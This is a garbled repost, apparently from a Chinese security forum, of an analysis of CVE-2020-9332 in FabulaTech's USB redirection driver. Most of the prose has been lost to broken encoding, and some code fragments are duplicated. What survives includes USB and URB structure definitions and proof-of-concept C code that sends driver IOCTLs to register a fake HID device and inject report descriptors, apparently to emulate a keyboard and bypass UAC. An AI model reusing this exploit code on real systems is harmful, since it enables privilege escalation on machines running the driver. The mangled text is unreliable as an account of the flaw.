[28402] 2020-07-09_CVE-2020-9332(一个易受攻击的USB重定向软件)分析

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2020-07-09_CVE-2020-9332(一个易受攻击的USB重定向软件)分析 C V E - 2 0 2 0 - 9 3 3 2 U S B M i c h a e l   O t s   2 0 2 0 - 0 7 - 0 9 F a b u l a T e c h 广 使 使 U S B F a b u l a T e c h M i c r o s o f t   R D P T e r a d i c i   P C o I P C i t r i x   I C A W i n d o w s U S B 使 U S B   f o r   R e m o t e   D e s k t o p C V E - 2 0 2 0 - 9 3 3 2 F a b u l a T e c h 线 U S B 线 U S B 使 U S B F a b u l a T e c h 1 2 9 2 4 M I T R E I D C V E - 2 0 2 0 - 9 3 3 2 使 U S B U S B 使 U S B 使 使 线 I   /   O 线 使
U S B 访 F a b u l a T e c h 线 访 W D M 使 W d m l i b I o C r e a t e D e v i c e S e c u r e K M D F W d f D e v i c e I n i t A s s i g n S D D L S t r i n g N T I n s i d e r 2 0 1 7 I o C r e a t e D e v i c e I N F 使 使 访 使 W d m l i b I o C r e a t e D e v i c e S e c u r e 使 K M D F F a b u l a T e c h I o C r e a t e D e v i c e
使 O S F a b u l a T e c h L o c a l S y s t e m
U A C U S B U S B M I T M U S B H I D U S B H I D U S B U S B U S B U S B W i n d o w s U S B U S B W i n d o w s U S B
U S B u s b . o r g U S B U S B U S B t y p e d e f   s t r u c t   _ U S B _ D E V I C E _ D E S C R I P T O R   {         U C H A R   b L e n g t h ;         U C H A R   b D e s c r i p t o r T y p e ;         U S H O R T   b c d U S B ;         U C H A R   b D e v i c e C l a s s ;         U C H A R   b D e v i c e S u b C l a s s ;         U C H A R   b D e v i c e P r o t o c o l ;         U C H A R   b M a x P a c k e t S i z e 0 ;         U S H O R T   i d V e n d o r         U S H O R T   i d P r o d u c t ;         U S H O R T   b c d D e v i c e ;         U C H A R   i M a n u f a c t u r e r         U C H A R   i P r o d u c t         U C H A R   i S e r i a l N u m b e r         U C H A R   b N u m C o n f i g u r a t i o n s ; }   U S B _ D E V I C E _ D E S C R I P T O R *   P U S B _ D E V I C E _ D E S C R I P T O R I D I D U S B
t y p e d e f   s t r u c t   _ U S B _ C O N F I G U R A T I O N _ D E S C R I P T O R   {         U C H A R   b L e n g t h ;         U C H A R   b D e s c r i p t o r T y p e ;         U S H O R T   w T o t a l L e n g t h ;         U C H A R   b N u m I n t e r f a c e s ;         U C H A R   b C o n f i g u r a t i o n V a l u e ;         U C H A R   i C o n f i g u r a t i o n         U C H A R   b m A t t r i b u t e s ;         U C H A R   M a x P o w e r ; }   U S B _ C O N F I G U R A T I O N _ D E S C R I P T O R *   P U S B _ C O N F I G U R A T I O N _ D E S C R I P T O R U S B U S B U S B 使 U S B b N u m I n t e r f a c e s t y p e d e f   s t r u c t   _ U S B _ I N T E R F A C E _ D E S C R I P T O R   {         U C H A R   b L e n g t h ;         U C H A R   b D e s c r i p t o r T y p e ;         U C H A R   b I n t e r f a c e N u m b e r ;         U C H A R   b A l t e r n a t e S e t t i n g ;         U C H A R   b N u m E n d p o i n t s ;         U C H A R   b I n t e r f a c e C l a s s ;         U C H A R   b I n t e r f a c e S u b C l a s s ;         U C H A R   b I n t e r f a c e P r o t o c o l ;         U C H A R   i I n t e r f a c e }   U S B _ I N T E R F A C E _ D E S C R I P T O R *   P U S B _ I N T E R F A C E _ D E S C R I P T O R b E n d p o i n t A d d r e s s b E n d p o i n t A d d r e s s t y p e d e f   s t r u c t   _ U S B _ E N D P O I N T _ D E S C R I P T O R   {         U C H A R   b L e n g t h ;         U C H A R   b D e s c r i p t o r T y p e ;         U C H A R   b E n d p o i n t A d d r e s s ;         U C H A R   b m A t t r i b u t e s ;         U S H O R T   w M a x P a c k e t S i z e ;         U C H A R   b I n t e r v a l ; }   U S B _ E N D P O I N T _ D E S C R I P T O R *   P U S B _ E N D P O I N T _ D E S C R I P T O R
U S B U S B U R B U S B 使 U S B U R B U S B 访 I O I O U R B U S B U R B U R B U R B U R B s t r u c t   _ U R B _ H E A D E R   {         U S H O R T       L e n g t h ;         U S H O R T       F u n c t i o n ;         U S B D _ S T A T U S   S t a t u s ;         P V O I D         U s b d D e v i c e H a n d l e ;         U L O N G         U s b d F l a g s ; } ; s t r u c t   _ U R B _ B U L K _ O R _ I N T E R R U P T _ T R A N S F E R   {         s t r u c t   _ U R B _ H E A D E R     H d r ;         U S B D _ P I P E _ H A N D L E       P i p e H a n d l e ;         U L O N G                 T r a n s f e r F l a g s ;         U L O N G                 T r a n s f e r B u f f e r L e n g t h ;         P V O I D                 T r a n s f e r B u f f e r ;         P M D L                   T r a n s f e r B u f f e r M D L ;         s t r u c t   _ U R B           * U r b L i n k ;         s t r u c t   _ U R B _ H C D _ A R E A   h c a ; } ; U R B U S B U S B U R B 使 U S B 使 H I D H I D k b d h i d . s y s H I D U S B U S B U R B P o C F a b u l a T e c h F a b u l a T e c h O S U R B U R B U R B 使 U R B H I D
U A C 9 0 4 2 9 P o C P o C 使 I O C T L _ F T _ A D D _ D E V I C E 0 x 2 2 2 0 0 0 I D I D O S P o C 使 V e n d o r I D   0 E 0 F P r o d u c t I D 0 0 0 3 V M W a r e U S B / * * * * * * * * * * * * * / H A N D L E   E v e n t   =   C r e a t e E v e n t W ( n u l l p t r ,   T R U E ,   F A L S E ,   n u l l p t r ) ; / / F i l l   a   f e w   e v e n t   h a n d l e s P H A N D L E   p E v e n t   =   ( P H A N D L E ) ( & D e v i c e D e s c [ 0 x 1 4 ] ) ; p E v e n t [ 0 ]   =   p E v e n t [ 1 ]   =   p E v e n t [ 2 ]   =   E v e n t ; D W O R D   R e t u r n e d ; B O O L   r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ A D D _ D E V I C E ,   D e v i c e D e s c ,   s i z e o f ( D e v i c e D e s c ) ,   D e v i c e D e s c ,   s i z e o f ( D e v i c e D e s c ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   D e v i c e D e s c n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } / * * * * * * * * * * * * * /
U S B 2 I O C T L _ F T _ G E T _ R E Q U E S T 0 x 2 2 2 0 0 B I O C T L _ F T _ S E T _ R E Q U E S T 0 x 2 2 2 0 1 7 / * * * * * * * * * * * * * / r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   S e l e c t C o n f i g ,   s i z e o f ( S e l e c t C o n f i g ) ,   S e l e c t C o n f i g ,   s i z e o f ( S e l e c t C o n f i g ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   S e l e c t C o n f i g n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   G e t M s D e s c ,   s i z e o f ( G e t M s D e s c ) ,   G e t M s D e s c ,   s i z e o f ( G e t M s D e s c ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   G e t M s D e s c n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   S e t I d l e ,   s i z e o f ( S e t I d l e ) ,   S e t I d l e ,   s i z e o f ( S e t I d l e ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   S e t I d l e n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   R a w R e p o r t D e s c r i p t o r ,   s i z e o f ( R a w R e p o r t D e s c r i p t o r ) ,   R a w R e p o r t D e s c r i p t o r ,   s i z e o f ( R a w R e p o r t D e s c r i p t o r ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   R a w R e p o r t D e s c r i p t o r n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   S e t I d l e 2 ,   s i z e o f ( S e t I d l e 2 ) ,   S e t I d l e 2 ,   s i z e o f ( S e t I d l e 2 ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   S e t I d l e 2 n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ;
        p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; r   =   D e v i c e I o C o n t r o l ( D e v i c e ,   I O C T L _ F T _ S E T _ R E Q U E S T ,   R a w R e p o r t D e s c r i p t o r 2 ,   s i z e o f ( R a w R e p o r t D e s c r i p t o r 2 ) ,   R a w R e p o r t D e s c r i p t o r 2 ,   s i z e o f ( R a w R e p o r t D e s c r i p t o r 2 ) ,   & R e t u r n e d ,   0 ) ; i f   ( r   = =   T R U E ) {         p r i n t f ( " [ + ]   R a w R e p o r t D e s c r i p t o r 2 n " ) ; } e l s e {         p r i n t f ( " D e v i c e I o C o n t r o l   f a i l e d :   % d n " ,   G e t L a s t E r r o r ( ) ) ; } S l e e p ( 1 0 0 0 ) ; / * * * * * * * * * * * * * / 2 0 2 0 1 2 9 2 0 2 0 2 4
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则